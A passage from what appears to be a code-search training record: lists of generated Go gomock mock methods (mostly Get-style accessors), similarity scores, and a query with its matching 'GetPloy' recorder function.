ret0, ret1\n}", "func (m *MockInternalClient) SoftwarePhvGet(ctx context.Context, in *SoftwarePhvGetRequestMsg, opts ...grpc.CallOption) (*SoftwarePhvGetResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"SoftwarePhvGet\", varargs...)\n\tret0, _ := ret[0].(*SoftwarePhvGetResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockapprunnerDescriber) Params() (map[string]string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Params\")\n\tret0, _ := ret[0].(map[string]string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockWebhookResourceClient) GetSuperglooNamespace() (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetSuperglooNamespace\")\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockValues) Get(path ...string) reader.Value {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{}\n\tfor _, a := range path {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Get\", varargs...)\n\tret0, _ := ret[0].(reader.Value)\n\treturn ret0\n}", "func (m *FakeApiServer) Get(arg0 schema.GroupVersionResource, arg1, arg2 string) (runtime.Object, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(runtime.Object)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockOrg) Get(orgKey api.OrgKey) (api.Org, error) {\n\tret := m.ctrl.Call(m, \"Get\", orgKey)\n\tret0, _ := ret[0].(api.Org)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockNuvoVM) LunPath(arg0, arg1 string) string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"LunPath\", arg0, arg1)\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockSystemKeeper) GetHelmRepo() (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetHelmRepo\")\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockService) GetWhere(arg0 int, arg1, arg2, arg3 interface{}) error {\n\tret := m.ctrl.Call(m, \"GetWhere\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockRepository) GetData(param taxiFare.Param) ([]taxiFare.ResponseRedis, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetData\", param)\n\tret0, _ := ret[0].([]taxiFare.ResponseRedis)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockModuleService) GetLatestModuleProgram(arg0, arg1 string) (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetLatestModuleProgram\", arg0, arg1)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockManager) Get(arg0 ids.ID) (Set, bool) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].(Set)\n\tret1, _ := ret[1].(bool)\n\treturn ret0, ret1\n}", "func (m *MockInternalServer) InternalPortGet(arg0 context.Context, arg1 *InternalPortRequestMsg) (*InternalPortResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"InternalPortGet\", arg0, arg1)\n\tret0, _ := ret[0].(*InternalPortResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockFullNode) ChainGetTipSetByHeight(arg0 context.Context, arg1 abi.ChainEpoch, arg2 types0.TipSetKey) (*types0.TipSet, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ChainGetTipSetByHeight\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(*types0.TipSet)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockOperation) Get() api.Operation {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\")\n\tret0, _ := ret[0].(api.Operation)\n\treturn ret0\n}", "func (m *MockPexeler) GetRequest(arg0, arg1 string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetRequest\", arg0, arg1)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockMock) Get(key string) string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", key)\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockInternalServer) SoftwarePhvGet(arg0 context.Context, arg1 *SoftwarePhvGetRequestMsg) (*SoftwarePhvGetResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"SoftwarePhvGet\", arg0, arg1)\n\tret0, _ := ret[0].(*SoftwarePhvGetResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockStore) Get(arg0 string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockStore) Get(arg0 string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (mr *MockmonitorInterfaceMockRecorder) GetPloy() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPloy\", reflect.TypeOf((*MockmonitorInterface)(nil).GetPloy))\n}", "func (_m *MockMutableSeriesIteratorsPool) Get(size int) MutableSeriesIterators {\n\tret := _m.ctrl.Call(_m, \"Get\", size)\n\tret0, _ := ret[0].(MutableSeriesIterators)\n\treturn ret0\n}", "func (m *MockService) GetList(paginator, size int64) ([]*model.Pokemon, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetList\", paginator, size)\n\tret0, _ := ret[0].([]*model.Pokemon)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockInt) Get() int {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\")\n\tret0, _ := ret[0].(int)\n\treturn ret0\n}", "func (m *MockInternalClient) InternalPortGet(ctx context.Context, in *InternalPortRequestMsg, opts ...grpc.CallOption) (*InternalPortResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"InternalPortGet\", varargs...)\n\tret0, _ := ret[0].(*InternalPortResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockWorkspaceAddonsReaderPathGetter) Path() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Path\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func TestPiyoSuite(tester *testing.T) {\r\n\tsuite.Run(tester, new(PiyoSuite))\r\n\r\n\t// Mock\r\n\t// OnでセットしてCallで呼び出す\r\n\tpiyoMockObject := new(PiyoMock)\r\n\tpiyoMockObject.On(\"Foo\").Return(10)\r\n\r\n\t// 元の実装の場合は1が返るが、今回はMockを利用しているため10が返る\r\n\tfmt.Println(\"Bar(piyoMockObject):\", Bar(piyoMockObject))\r\n}", "func (m *MockworkloadDescriber) Params() (map[string]string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Params\")\n\tret0, _ := ret[0].(map[string]string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockInterface) Get(arg0 *api.OpenShiftCluster, arg1, arg2, arg3 string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockProfileLogic) ProfileGet(requestingUserName, userName string) (*domain.User, bool, error) {\n\tret := m.ctrl.Call(m, \"ProfileGet\", requestingUserName, userName)\n\tret0, _ := ret[0].(*domain.User)\n\tret1, _ := ret[1].(bool)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (m *MockOAuther) GetURL() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetURL\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockHandler) ProfileGet(requestingUserName, userName string) (*domain.User, bool, error) {\n\tret := m.ctrl.Call(m, \"ProfileGet\", requestingUserName, userName)\n\tret0, _ := ret[0].(*domain.User)\n\tret1, _ := ret[1].(bool)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (m *MockTChanNode) GetPersistRateLimit(ctx thrift.Context) (*NodePersistRateLimitResult_, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPersistRateLimit\", ctx)\n\tret0, _ := ret[0].(*NodePersistRateLimitResult_)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRepository) Get(ctx bigmapdiff.GetContext) ([]bigmapdiff.Bucket, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", ctx)\n\tret0, _ := ret[0].([]bigmapdiff.Bucket)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPostForkBlock) pChainHeight(arg0 context.Context) (uint64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"pChainHeight\", arg0)\n\tret0, _ := ret[0].(uint64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockStore) Get(arg0 context.Context, arg1 *configstores.GetRequest) ([]*configstores.ConfigurationItem, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].([]*configstores.ConfigurationItem)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockSession) GetData() map[string]interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetData\")\n\tret0, _ := ret[0].(map[string]interface{})\n\treturn ret0\n}", "func (m *MockHandler) GetProfile(arg0 http.ResponseWriter, arg1 *http.Request) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"GetProfile\", arg0, arg1)\n}", "func (m *MockChoriaProvider) PrometheusTextFileDir() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"PrometheusTextFileDir\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func TestGetPayment(t *testing.T) {\n\tfmt.Println(\"mp_test : GetPayment\")\n\n\tpmt, err := mp.GetPayment(\"8262805\")\n\tif err != nil {\n\t\tt.Fatalf(\"Error getting the payment: %v\", err)\n\t}\n\tfmt.Println(\"Payment: \", pmt)\n}", "func (m *MockExecutionManager) GetName() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetName\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockConn) Get(path string) ([]byte, *zk.Stat, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", path)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(*zk.Stat)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (_m *Keychain) GetStoredKeyPairInLibP2PFormat() (crypto.PrivKey, crypto.PubKey, error) {\n\tret := _m.Called()\n\n\tvar r0 crypto.PrivKey\n\tif rf, ok := ret.Get(0).(func() crypto.PrivKey); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(crypto.PrivKey)\n\t\t}\n\t}\n\n\tvar r1 crypto.PubKey\n\tif rf, ok := ret.Get(1).(func() crypto.PubKey); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tif ret.Get(1) != nil {\n\t\t\tr1 = ret.Get(1).(crypto.PubKey)\n\t\t}\n\t}\n\n\tvar r2 error\n\tif rf, ok := ret.Get(2).(func() error); ok {\n\t\tr2 = rf()\n\t} else {\n\t\tr2 = ret.Error(2)\n\t}\n\n\treturn r0, r1, r2\n}" ]
[ "0.6181469", "0.6144592", "0.6131986", "0.60251325", "0.5991877", "0.58208334", "0.57728255", "0.57030654", "0.56783044", "0.56688553", "0.5644257", "0.557778", "0.5577732", "0.5563349", "0.55097854", "0.54944915", "0.5485618", "0.54819787", "0.5479166", "0.54673326", "0.5452842", "0.54470223", "0.544468", "0.54417247", "0.5392488", "0.53864753", "0.5377737", "0.5367413", "0.5356848", "0.53460115", "0.5332211", "0.5319314", "0.5316546", "0.5315655", "0.53105927", "0.53041977", "0.52866673", "0.5285313", "0.5275982", "0.52666265", "0.52619356", "0.52557886", "0.5255656", "0.52545756", "0.5253063", "0.52495027", "0.5245582", "0.5245582", "0.52430475", "0.5241431", "0.5239295", "0.5236598", "0.52344656", "0.52342767", "0.52323115", "0.5221831", "0.52135843", "0.5208937", "0.52055323", "0.5204221", "0.51966196", "0.5193911", "0.5179924", "0.5175459", "0.5166601", "0.5165429", "0.51601183", "0.5158934", "0.51555556", "0.5154251", "0.5153303", "0.5147061", "0.5145628", "0.5135404", "0.51286155", "0.511718", "0.511718", "0.5111945", "0.5111115", "0.51081526", "0.51059246", "0.51009494", "0.51005775", "0.5098331", "0.5097477", "0.50961846", "0.50889826", "0.5085582", "0.5083933", "0.5082682", "0.5081147", "0.5079484", "0.50689733", "0.5068397", "0.50544345", "0.5048737", "0.5045701", "0.5038375", "0.50382245", "0.50276995" ]
0.78466064
0
GetPloy indicates an expected call of GetPloy
func (mr *MockmonitorInterfaceMockRecorder) GetPloy() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetPloy", reflect.TypeOf((*MockmonitorInterface)(nil).GetPloy)) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockmonitorInterface) GetPloy() map[string]int {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPloy\")\n\tret0, _ := ret[0].(map[string]int)\n\treturn ret0\n}", "func (mr *MockmonitorInterfaceMockRecorder) InitPloy() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InitPloy\", reflect.TypeOf((*MockmonitorInterface)(nil).InitPloy))\n}", "func (mr *MockmonitorInterfaceMockRecorder) UpdatePloy(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePloy\", reflect.TypeOf((*MockmonitorInterface)(nil).UpdatePloy), arg0, arg1)\n}", "func (mr *MockSettingsMockRecorder) GetLParen() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetLParen\", reflect.TypeOf((*MockSettings)(nil).GetLParen))\n}", "func (mr *MockTestClientMockRecorder) GetPoint(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPoint\", reflect.TypeOf((*MockTestClient)(nil).GetPoint), arg0, arg1)\n}", "func (mr *MockUCCodeHubIMockRecorder) GetPLOut(repo, limit, offset interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPLOut\", reflect.TypeOf((*MockUCCodeHubI)(nil).GetPLOut), repo, limit, offset)\n}", "func (mr *MockPKGMockRecorder) GetPCode() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPCode\", reflect.TypeOf((*MockPKG)(nil).GetPCode))\n}", "func TestPagarmePlanoGet(t *testing.T) {\n \n Pagarme := pagarme.NewPagarme(\"pt-BR\", ApiKey, CryptoKey)\n Pagarme.SetDebug()\n\n id, _ := client.Get(\"PlanoId\").Int64()\n\n result, err := Pagarme.PlanoGet(id)\n\n if err != nil {\n t.Errorf(\"Erro ao create plano: %v\", err)\n }else{\n //t.Log(fmt.Sprintf(\"result = %v\", customer.Id)) \n\n if result.Plano.Id == 0 {\n t.Errorf(\"plano id is expected\")\n return\n }\n\n\n }\n\n}", "func (mr *MockTestClientMockRecorder) GetPoints(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPoints\", reflect.TypeOf((*MockTestClient)(nil).GetPoints), arg0, arg1)\n}", "func (m *MockSettings) GetLParen() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetLParen\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (o *TransactionSplit) GetPiggyBankIdOk() (*int32, bool) {\n\tif o == nil || o.PiggyBankId == nil {\n\t\treturn nil, false\n\t}\n\treturn o.PiggyBankId, true\n}", "func (mr *MockServiceMockRecorder) GetPrediction(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPrediction\", reflect.TypeOf((*MockService)(nil).GetPrediction), arg0, arg1)\n}", "func (m *MockmonitorInterface) UpdatePloy(arg0 string, arg1 int) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdatePloy\", arg0, arg1)\n}", "func (mr *MockAgentQuerierMockRecorder) GetProxier() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetProxier\", reflect.TypeOf((*MockAgentQuerier)(nil).GetProxier))\n}", "func (m *MockmonitorInterface) InitPloy() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InitPloy\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (mr *MockPexelerMockRecorder) Get(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockPexeler)(nil).Get), arg0, arg1)\n}", "func (mr *MockUCCodeHubIMockRecorder) GetPLIn(repo, limit, offset interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPLIn\", reflect.TypeOf((*MockUCCodeHubI)(nil).GetPLIn), repo, limit, offset)\n}", "func (o *AccountDashboardStatistic) GetLoyaltyPointsOk() ([]AccountDashboardStatisticLoyaltyPoints, bool) {\n\tif o == nil || o.LoyaltyPoints == nil {\n\t\tvar ret []AccountDashboardStatisticLoyaltyPoints\n\t\treturn ret, false\n\t}\n\treturn *o.LoyaltyPoints, true\n}", "func (_mr *MockMutableSeriesIteratorsPoolMockRecorder) Get(arg0 interface{}) *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Get\", reflect.TypeOf((*MockMutableSeriesIteratorsPool)(nil).Get), arg0)\n}", "func (mr *MockBrokerMockRecorder) GetPortfolio(arg0 ...interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPortfolio\", reflect.TypeOf((*MockBroker)(nil).GetPortfolio), arg0...)\n}", "func (o *Tier) GetPriceOk() (*int32, bool) {\n\tif o == nil || o.Price == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Price, true\n}", "func PTEST(mx, x operand.Op) { ctx.PTEST(mx, x) }", "func (self *PhysicsP2) Pxm(v int) int{\n return self.Object.Call(\"pxm\", v).Int()\n}", "func (mr *MockPolicyManagerMockRecorder) Get(pk interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockPolicyManager)(nil).Get), pk)\n}", "func (mr *MockClusterMockRecorder) Get(clusterKey interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockCluster)(nil).Get), clusterKey)\n}", "func TestGetPrice(t *testing.T) {\n\n\ta := InitApp(\"https://api.bip.dev/api/\")\n\n\tp, _, err := a.GetPrice()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif p != 1 {\n\t\tt.Errorf(\"Error price %f, want 1\", p)\n\t}\n}", "func (_mr *MockSeriesIteratorPoolMockRecorder) Get() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Get\", reflect.TypeOf((*MockSeriesIteratorPool)(nil).Get))\n}", "func (o *TransactionSplit) GetPiggyBankNameOk() (*string, bool) {\n\tif o == nil || o.PiggyBankName == nil {\n\t\treturn nil, false\n\t}\n\treturn o.PiggyBankName, true\n}", "func (mr *MockSettingsMockRecorder) GetRParen() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetRParen\", reflect.TypeOf((*MockSettings)(nil).GetRParen))\n}", "func TestGetProveData(t *testing.T) {\n\tleaves := []string{\n\t\t\"16308793397024662832064523892418908145900866571524124093537199035808550255649\",\n\t\t\"21467822781369104390668289189963532506973289112396605437823854946060028754354\",\n\t\t\"4178471437305290899835614805415999986197321812505352791035422725360758750328\",\n\t\t\"10407830929890509544473717262275616077696950294748419792758056545898949331744\",\n\t\t\"11032604436245646157001636966356016502073301224837385665550497706958264582086\",\n\t}\n\n\tproves := []string{\n\t\t\"21467822781369104390668289189963532506973289112396605437823854946060028754354\",\n\t\t\"367337696696422936865919560478589243810446804477597373440139066420957868266\",\n\t\t\"5538594811879266165080692952618163249542275094298127431082963485737222728396\",\n\t\t\"143025316472030670451892215893941356364968202515180811944684799652132907215\",\n\t}\n\n\tvar leave [][]byte\n\tfor _, l := range leaves {\n\t\tleave = append(leave, mixTy.Str2Byte(l))\n\t}\n\n\tret, err := getProveData(leave[1], leave)\n\tassert.Nil(t, err)\n\tassert.Equal(t, uint32(5), ret.NumLeaves)\n\tassert.Equal(t, uint32(1), ret.ProofIndex)\n\tassert.Equal(t, \"2857051084155588640772960772751117206153267452172716633910046945631762242957\", ret.RootHash)\n\tassert.Equal(t, len(proves), len(ret.ProofSet))\n\tfor i, k := range proves {\n\t\tassert.Equal(t, k, ret.ProofSet[i])\n\t}\n\tassert.Equal(t, []uint32([]uint32{0, 1, 1}), ret.Helpers)\n\n}", "func (v Vertex) GetPheromone() float64 {\n return v.pheromone\n}", "func (t *SuiteSuite) VerifyMethodsWrongSignatureSkipped1(x int) {\n\tt.Fatalf(\"This should never run.\")\n}", "func (self *PhysicsP2) Pxmi(v int) int{\n return self.Object.Call(\"pxmi\", v).Int()\n}", "func (mr *MockIDistributedEnforcerMockRecorder) GetPolicy() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPolicy\", reflect.TypeOf((*MockIDistributedEnforcer)(nil).GetPolicy))\n}", "func (mr *MockVendorsMockRecorder) Get(n interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockVendors)(nil).Get), n)\n}", "func (o *ChartDataPoint) GetKeyOk() (*string, bool) {\n\tif o == nil || o.Key == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Key, true\n}", "func (mr *MockProxyMockRecorder) Get(proxyKey interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockProxy)(nil).Get), proxyKey)\n}", "func (m *MockEngine) PonderHit() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"PonderHit\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (mr *MockFPLServerMockRecorder) GetParticipantsInLeague(arg0, arg1 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetParticipantsInLeague\", reflect.TypeOf((*MockFPLServer)(nil).GetParticipantsInLeague), arg0, arg1)\n}", "func (e PreconditionFailed) IsPreconditionFailed() {}", "func (mr *MockScraperMockRecorder) GetParticipantsInLeague(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetParticipantsInLeague\", reflect.TypeOf((*MockScraper)(nil).GetParticipantsInLeague), arg0)\n}", "func (mr *MockEngineMockRecorder) PonderHit() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"PonderHit\", reflect.TypeOf((*MockEngine)(nil).PonderHit))\n}", "func (o *V0037Node) GetPartitionsOk() (*[]string, bool) {\n\tif o == nil || o.Partitions == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Partitions, true\n}", "func (mr *MockPodInterfaceMockRecorder) Get(arg0, arg1 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockPodInterface)(nil).Get), arg0, arg1)\n}", "func (o *CloudAwsVirtualMachineAllOf) GetKeyPairOk() (*CloudAwsKeyPairRelationship, bool) {\n\tif o == nil || o.KeyPair == nil {\n\t\treturn nil, false\n\t}\n\treturn o.KeyPair, true\n}", "func (a *ManagementApiService) GetLoyaltyPoints(ctx _context.Context, loyaltyProgramId string, integrationId string) apiGetLoyaltyPointsRequest {\n\treturn apiGetLoyaltyPointsRequest{\n\t\tapiService: a,\n\t\tctx: ctx,\n\t\tloyaltyProgramId: loyaltyProgramId,\n\t\tintegrationId: integrationId,\n\t}\n}", "func (mr *MockNotepadsRepoMockRecorder) Get(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockNotepadsRepo)(nil).Get), arg0)\n}", "func (mr *MockClientMockRecorder) GetPolicy(input interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPolicy\", reflect.TypeOf((*MockClient)(nil).GetPolicy), input)\n}", "func (_mr *MockIteratorArrayPoolMockRecorder) Get(arg0 interface{}) *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Get\", reflect.TypeOf((*MockIteratorArrayPool)(nil).Get), arg0)\n}", "func returnSideChainPowGet(L *lua.LState) int {\n\tp := checkSideChainPow(L, 1)\n\tfmt.Println(p)\n\n\treturn 0\n}", "func (mr *MockPodInfoRepoMockRecorder) Get(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockPodInfoRepo)(nil).Get), arg0, arg1)\n}", "func GetP(ptp protocol.PointToPoint, tempFields ...interface{}) (container.Tuple, bool, bool) {\n\treturn getPAndQueryP(ptp, protocol.GetPRequest, tempFields...)\n}", "func (self *PhysicsP2) PxmI(args ...interface{}) int{\n return self.Object.Call(\"pxm\", args).Int()\n}", "func (mr *Mock_jokesMockRecorder) Get() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*Mock_jokes)(nil).Get))\n}", "func (pr *prepareResult) isProcedureCall() bool { return pr.fc.IsProcedureCall() }", "func (pr *prepareResult) isProcedureCall() bool { return pr.fc.IsProcedureCall() }", "func TestNewPoint(t *testing.T) {\n\tp := NewPoint(1, 1, 1)\n\tif (p.X != 1) || (p.X != 1) || (p.X != 1) {\n\t\tt.Log(\"Wrong assignment of the coordinates!\")\n\t\tt.Fail()\n\t}\n}", "func TestPar(t *testing.T) {\n\tt.Skip()\n}", "func pairGetSetY(L *lua.LState) int {\n\tp := checkPair(L)\n\tif L.GetTop() == 2 { // setter\n\t\tp.Y = L.CheckAny(2)\n\t\treturn 0\n\t} else { // getter\n\t\tL.Push(p.Y)\n\t\treturn 1\n\t}\n}", "func (mr *MockOrgMockRecorder) Get(orgKey interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockOrg)(nil).Get), orgKey)\n}", "func (mr *MockSystemKeeperMockRecorder) GetHelmRepo() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetHelmRepo\", reflect.TypeOf((*MockSystemKeeper)(nil).GetHelmRepo))\n}", "func (mr *MockNuvoVMMockRecorder) GetPitDiffs(arg0, arg1, arg2, arg3 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPitDiffs\", 